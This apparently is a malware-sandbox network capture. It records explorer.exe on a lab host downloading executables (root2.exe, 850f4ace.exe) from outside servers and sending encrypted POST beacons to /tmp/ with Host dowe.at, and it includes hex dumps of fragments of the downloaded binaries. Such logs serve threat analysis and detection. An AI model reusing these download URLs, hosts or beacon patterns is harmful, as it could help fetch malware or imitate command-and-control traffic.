Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49725	123.253.32.170	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:06.509569883 CET	297	OUT	GET /root2.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 123.253.32.170
Nov 30, 2022 00:11:06.779318094 CET	299	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Tue, 29 Nov 2022 23:11:06 GMT Content-Type: application/octet-stream Content-Length: 3776000 Last-Modified: Tue, 29 Nov 2022 23:10:03 GMT Connection: keep-alive ETag: "6386914b-399e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 71 fa 27 a0 35 9b 49 f3 35 9b 49 f3 35 9b 49 f3 88 d4 df f3 34 9b 49 f3 2b c9 dc f3 24 9b 49 f3 2b c9 ca f3 5d 9b 49 f3 12 5d 32 f3 32 9b 49 f3 35 9b 48 f3 af 9b 49 f3 2b c9 cd f3 17 9b 49 f3 2b c9 dd f3 34 9b 49 f3 2b c9 d8 f3 34 9b 49 f3 52 69 63 68 35 9b 49 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a2 ac e5 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 08 01 00 00 02 3c 00 00 00 00 00 97 4c 00 00 00 10 00 00 00 20 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 4f 00 00 04 00 00 01 9d 3a 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 9c 0a 01 00 50 00 00 00 00 c0 3c 00 50 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 2d 00 00 18 00 00 00 d8 2c 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 07 01 00 00 10 00 00 00 08 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 97 3b 00 00 20 01 00 00 60 38 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 50 12 00 00 c0 3c 00 00 32 00 00 00 6c 39 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 13 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$q'5I5I5I4I+$I+]I]22I5HI+I+4I+4IRich5IPEL`<L @ O:P<P0 -,@<.text `.data; `8@.rsrcPP<2l9@@p
Nov 30, 2022 00:11:06.779341936 CET	300	IN	Data Raw: 01 00 80 13 01 00 00 00 00 00 64 0d 01 00 72 0d 01 00 90 0d 01 00 9e 0d 01 00 bc 0d 01 00 ce 0d 01 00 e0 0d 01 00 fe 0d 01 00 12 0e 01 00 24 0e 01 00 3a 0e 01 00 54 0e 01 00 66 0e 01 00 7a 0e 01 00 88 0e 01 00 9a 0e 01 00 b2 0e 01 00 c6 0e 01 00 Data Ascii: dr$:Tfz4JZhv 0FPn*@Th
Nov 30, 2022 00:11:06.779361963 CET	301	IN	Data Raw: 66 00 69 00 78 00 75 00 6d 00 65 00 6e 00 61 00 6d 00 75 00 79 00 69 00 6c 00 65 00 67 00 65 00 64 00 65 00 73 00 6f 00 72 00 75 00 6a 00 75 00 20 00 72 00 61 00 62 00 61 00 78 00 61 00 6b 00 65 00 67 00 65 00 70 00 75 00 76 00 61 00 74 00 65 00 Data Ascii: fixumenamuyilegedesoruju rabaxakegepuvatehonapecahosipami bucajajulolutelizategehijijuBolhumikumiyoyamofiyopubakiyawa f
Nov 30, 2022 00:11:06.779381037 CET	303	IN	Data Raw: 70 00 6f 00 6c 00 61 00 6b 00 61 00 72 00 65 00 63 00 75 00 6c 00 6f 00 70 00 6f 00 20 00 6b 00 69 00 70 00 65 00 68 00 69 00 62 00 61 00 6b 00 75 00 20 00 74 00 61 00 6d 00 69 00 76 00 6f 00 6e 00 6f 00 67 00 6f 00 00 00 62 75 67 65 70 69 63 6f Data Ascii: polakareculopo kipehibaku tamivonogobugepicokipuwu jamexeyofopilafavusilawifezenago cekukakerozekelamoxewikofefina becup !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQ
Nov 30, 2022 00:11:06.779402018 CET	304	IN	Data Raw: 61 6c 6c 0d 0a 00 00 00 52 36 30 32 34 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 5f 6f 6e 65 78 69 74 2f 61 74 65 78 69 74 20 74 61 62 6c 65 0d 0a 00 00 00 00 52 36 30 31 39 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f Data Ascii: allR6024- not enough space for _onexit/atexit tableR6019- unable to open console deviceR6018- unexpected heap errorR6017- unexpected multithread lock errorR6016- not enough space for thread dataThis
Nov 30, 2022 00:11:06.779421091 CET	305	IN	Data Raw: 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 10 00 10 00 10 00 10 00 10 00 10 00 82 00 82 00 82 00 82 00 82 00 82 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 Data Ascii:
Nov 30, 2022 00:11:06.779442072 CET	307	IN	Data Raw: 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~
Nov 30, 2022 00:11:06.779469967 CET	308	IN	Data Raw: 48 80 7c 00 66 a3 4c 80 7c 00 ff 15 44 11 40 00 c3 55 8b ec 8b 45 08 8b 4d 0c 29 08 5d c2 08 00 55 8b ec 8b 45 08 8b 4d 0c 29 08 5d c2 08 00 55 8b ec 8b 45 08 8b 4d 0c 29 08 5d c2 08 00 c2 08 00 55 8b ec 51 83 65 fc 00 8b 45 10 90 01 45 fc 8b 45 Data Ascii: H\|fL\|D@UEM)]UEM)]UEM)]UQeEEEMUEM1]UMEEEE]UUBSVEE0Wx}x@ME 7EE MEEEEE%{3ME3MQ
Nov 30, 2022 00:11:06.779491901 CET	309	IN	Data Raw: c3 ff 35 44 80 7c 00 6a 00 ff 15 90 10 40 00 a3 00 a9 7b 00 c3 55 8b ec b8 c0 18 00 00 e8 02 0a 00 00 53 56 33 db 57 33 f6 81 fe 18 0c 00 00 75 0b b8 d6 38 00 00 01 05 44 80 7c 00 81 3d 44 80 7c 00 94 13 00 00 75 0b 68 b8 17 40 00 ff 15 f4 10 40 Data Ascii: 5D\|j@{USV3W3u8D\|=D\|uh@@F1\|39D\|vBV=D\|u'S@PEPEPEPEPS@SS@F;5D\|r?=D\|eum@SSSS@SSEP@S@P(@@PS
Nov 30, 2022 00:11:06.779524088 CET	311	IN	Data Raw: 6d a8 72 c4 fa 22 81 85 74 ff ff ff b4 2b 1c 5a 81 45 80 aa ec d8 54 81 6d 90 62 2e 26 46 81 45 d4 53 10 55 06 81 45 c0 04 dc 6f 4b 81 45 c0 85 bc 0d 3a 81 6d b4 be 4a a4 60 81 6d a8 07 0a 6e 61 81 45 c0 63 5d 49 0e 81 6d 8c 76 7c 48 13 81 85 74 Data Ascii: mr"t+ZETmb.&FESUEoKE:mJ`mnaEc]Imv\|HtwVExLE{EnmB>mU1mm5mW=EQ+EEI@KHm\|mEoE5`KE\@]KmY0E-tm ?NE(Lp/YEc
Nov 30, 2022 00:11:07.049257040 CET	312	IN	Data Raw: 05 f6 ff ff 33 c0 5e c9 c2 10 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 51 8d 4c 24 04 2b c8 1b c0 f7 d0 23 c8 8b c4 25 00 f0 ff ff 3b c8 72 0a 8b c1 59 94 8b 00 89 04 24 c3 2d 00 10 00 00 85 00 eb e9 8b ff 55 8b ec 8b 45 08 56 8b f1 c6 46 0c 00 Data Ascii: 3^QL$+#%;rY$-UEVFucFHlHhN;tytsyHpuxF;sytFsyHpuFF@puHpF@F^]UVWuMdEu3;t0;u,o

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49728	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:21.272643089 CET	4269	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://frwum.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 226 Host: dowe.at
Nov 30, 2022 00:11:21.275320053 CET	4269	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 09 6b 2c 90 f4 76 0b 75 22 25 b2 f2 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA ,[k,vu"%qp"~[9-~Yl}gy[E1!-x@:Iy3p-f[kv-7
Nov 30, 2022 00:11:22.504940033 CET	4270	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:21 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	49729	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:22.773154974 CET	4271	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ifardcruc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 341 Host: dowe.at
Nov 30, 2022 00:11:22.773185968 CET	4271	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 5a 4a c5 af Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vuZJ}\UxQJwi%dqNgt}[_)(2<F.*]C\|o@\|/b9!Scoh we_e^=0
Nov 30, 2022 00:11:23.625840902 CET	4272	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	49730	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:24.472856998 CET	4273	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gbbshbjmpq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 189 Host: dowe.at
Nov 30, 2022 00:11:24.473367929 CET	4274	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 56 1c b0 e6 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuVSmdp5o+(qJq20`<hC6%jQBBg{uL4V-I"<X
Nov 30, 2022 00:11:25.665105104 CET	4274	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49739	5.135.247.111	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-29 23:11:39 UTC	0	OUT	GET /upload/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: thepokeway.nl
2022-11-29 23:11:39 UTC	0	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:39 GMT Server: Apache Content-Description: File Transfer Content-Disposition: attachment; filename=850f4ace.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2022-11-29 23:11:39 UTC	0	IN	Data Raw: 32 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 71 fa 27 a0 35 9b 49 f3 35 9b 49 f3 35 9b 49 f3 88 d4 df f3 34 9b 49 f3 2b c9 dc f3 24 9b 49 f3 2b c9 ca f3 5d 9b 49 f3 12 5d 32 f3 32 9b 49 f3 35 9b 48 f3 af 9b 49 f3 2b c9 cd f3 17 9b 49 f3 2b c9 dd f3 34 9b 49 f3 2b c9 d8 f3 34 9b 49 f3 52 69 63 68 35 9b 49 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 25 12 99 62 00 00 00 00 00 Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$q'5I5I5I4I+$I+]I]22I5HI+I+4I+4IRich5IPEL%b
2022-11-29 23:11:39 UTC	8	IN	Data Raw: 48 3a 6d 6d 3a 73 73 00 00 00 00 64 64 64 64 2c 20 4d 4d 4d 4d 20 64 64 2c 20 79 79 79 79 00 4d 4d 2f 64 64 2f 79 79 00 00 00 00 50 4d 00 00 41 4d 00 00 44 65 63 65 6d 62 65 72 00 00 00 00 4e 6f 76 65 6d 62 65 72 00 00 00 00 4f 63 74 6f 62 65 72 00 53 65 70 74 65 6d 62 65 72 00 00 00 41 75 67 75 73 74 00 00 4a 75 6c 79 00 00 00 00 4a 75 6e 65 00 00 00 00 41 70 72 69 6c 00 00 00 4d 61 72 63 68 00 00 00 46 65 62 72 75 61 72 79 00 00 00 00 4a 61 6e 75 61 72 79 00 44 65 63 00 4e 6f 76 00 4f 63 74 00 53 65 70 00 41 75 67 00 4a 75 6c 00 4a 75 6e 00 4d 61 79 00 41 70 72 00 4d 61 72 00 46 65 62 00 4a 61 6e 00 53 61 74 75 72 64 61 79 00 00 00 00 46 72 69 64 61 79 00 00 54 68 75 72 73 64 61 79 00 00 00 00 57 65 64 6e 65 73 64 61 79 00 00 00 54 75 65 73 64 61 79 00 Data Ascii: H:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepAugJulJunMayAprMarFebJanSaturdayFridayThursdayWednesdayTuesday
2022-11-29 23:11:39 UTC	8	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	8	IN	Data Raw: 32 30 30 30 0d 0a 63 74 69 76 65 57 69 6e 64 6f 77 00 4d 65 73 73 61 67 65 42 6f 78 41 00 55 53 45 52 33 32 2e 44 4c 4c 00 00 a0 4f 4a 00 f8 4f 4a 00 00 00 00 00 06 80 80 86 80 81 80 00 00 10 03 86 80 86 82 80 14 05 05 45 45 45 85 85 85 05 00 00 30 30 80 50 80 88 00 08 00 28 27 38 50 57 80 00 07 00 37 30 30 50 50 88 00 00 00 20 28 80 88 80 80 00 00 00 60 68 60 68 68 68 08 08 07 78 70 70 77 70 70 08 08 00 00 08 00 08 00 07 08 00 00 00 53 75 6e 4d 6f 6e 54 75 65 57 65 64 54 68 75 46 72 69 53 61 74 00 00 00 4a 61 6e 46 65 62 4d 61 72 41 70 72 4d 61 79 4a 75 6e 4a 75 6c 41 75 67 53 65 70 4f 63 74 4e 6f 76 44 65 63 00 00 00 00 43 4f 4e 4f 55 54 24 00 00 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000ctiveWindowMessageBoxAUSER32.DLLOJOJEEE00P('8PW700PP (`h`hhhxppwppSunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecCONOUT$H
2022-11-29 23:11:39 UTC	16	IN	Data Raw: 53 e8 a2 2f 00 00 Data Ascii: S/
2022-11-29 23:11:39 UTC	16	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	16	IN	Data Raw: 32 30 30 30 0d 0a 59 3b c6 74 07 50 e8 d8 2e 00 00 59 e8 b9 55 00 00 84 5d c4 74 06 0f b7 4d c8 eb 03 6a 0a 59 51 50 56 68 00 00 40 00 e8 db e9 ff ff 89 45 e0 39 75 e4 75 06 50 e8 19 31 00 00 e8 40 31 00 00 89 7d fc eb 35 8b 45 ec 8b 08 8b 09 89 4d dc 50 51 e8 15 54 00 00 59 59 c3 8b 65 e8 8b 45 dc 89 45 e0 83 7d e4 00 75 06 50 e8 fc 30 00 00 e8 1c 31 00 00 c7 45 fc fe ff ff ff 8b 45 e0 eb 13 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff b8 ff 00 00 00 e8 83 19 00 00 c3 e8 97 5c 00 00 e9 78 fe ff ff 2d a4 03 00 00 74 22 83 e8 04 74 17 83 e8 0d 74 0c 48 74 03 33 c0 c3 b8 04 04 00 00 c3 b8 12 04 00 00 c3 b8 04 08 00 00 c3 b8 11 04 00 00 c3 8b ff 56 57 8b f0 68 01 01 00 00 33 ff 8d 46 1c 57 50 e8 09 12 00 00 33 c0 0f b7 c8 8b c1 89 7e 04 89 7e 08 89 7e 0c c1 e1 Data Ascii: 2000Y;tP.YU]tMjYQPVh@E9uuP1@1}5EMPQTYYeEE}uP01EE3@eE\x-t"ttHt3VWh3FWP3~~~
2022-11-29 23:11:39 UTC	24	IN	Data Raw: fa 3f 76 03 6a 3f Data Ascii: ?vj?
2022-11-29 23:11:39 UTC	24	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	24	IN	Data Raw: 32 30 30 30 0d 0a 5a 8b 4b 04 3b 4b 08 75 42 bb 00 00 00 80 83 fa 20 73 19 8b ca d3 eb 8d 4c 02 04 f7 d3 21 5c b8 44 fe 09 75 23 8b 4d 08 21 19 eb 1c 8d 4a e0 d3 eb 8d 4c 02 04 f7 d3 21 9c b8 c4 00 00 00 fe 09 75 06 8b 4d 08 21 59 04 8b 5d 0c 8b 53 08 8b 5b 04 8b 4d fc 03 4d f4 89 5a 04 8b 55 0c 8b 5a 04 8b 52 08 89 53 08 89 4d fc 8b d1 c1 fa 04 4a 83 fa 3f 76 03 6a 3f 5a 8b 5d f8 83 e3 01 89 5d f4 0f 85 8f 00 00 00 2b 75 f8 8b 5d f8 c1 fb 04 6a 3f 89 75 0c 4b 5e 3b de 76 02 8b de 03 4d f8 8b d1 c1 fa 04 4a 89 4d fc 3b d6 76 02 8b d6 3b da 74 5e 8b 4d 0c 8b 71 04 3b 71 08 75 3b be 00 00 00 80 83 fb 20 73 17 8b cb d3 ee f7 d6 21 74 b8 44 fe 4c 03 04 75 21 8b 4d 08 21 31 eb 1a 8d 4b e0 d3 ee f7 d6 21 b4 b8 c4 00 00 00 fe 4c 03 04 75 06 8b 4d 08 21 71 04 8b Data Ascii: 2000ZK;KuB sL!\Du#M!JL!uM!Y]S[MMZUZRSMJ?vj?Z]]+u]j?uK^;vMJM;v;t^Mq;qu; s!tDLu!M!1K!LuM!q
2022-11-29 23:11:39 UTC	32	IN	Data Raw: fa ff ff 83 e8 03 Data Ascii:
2022-11-29 23:11:39 UTC	32	IN	Data Raw: 0d 0a Data Ascii:
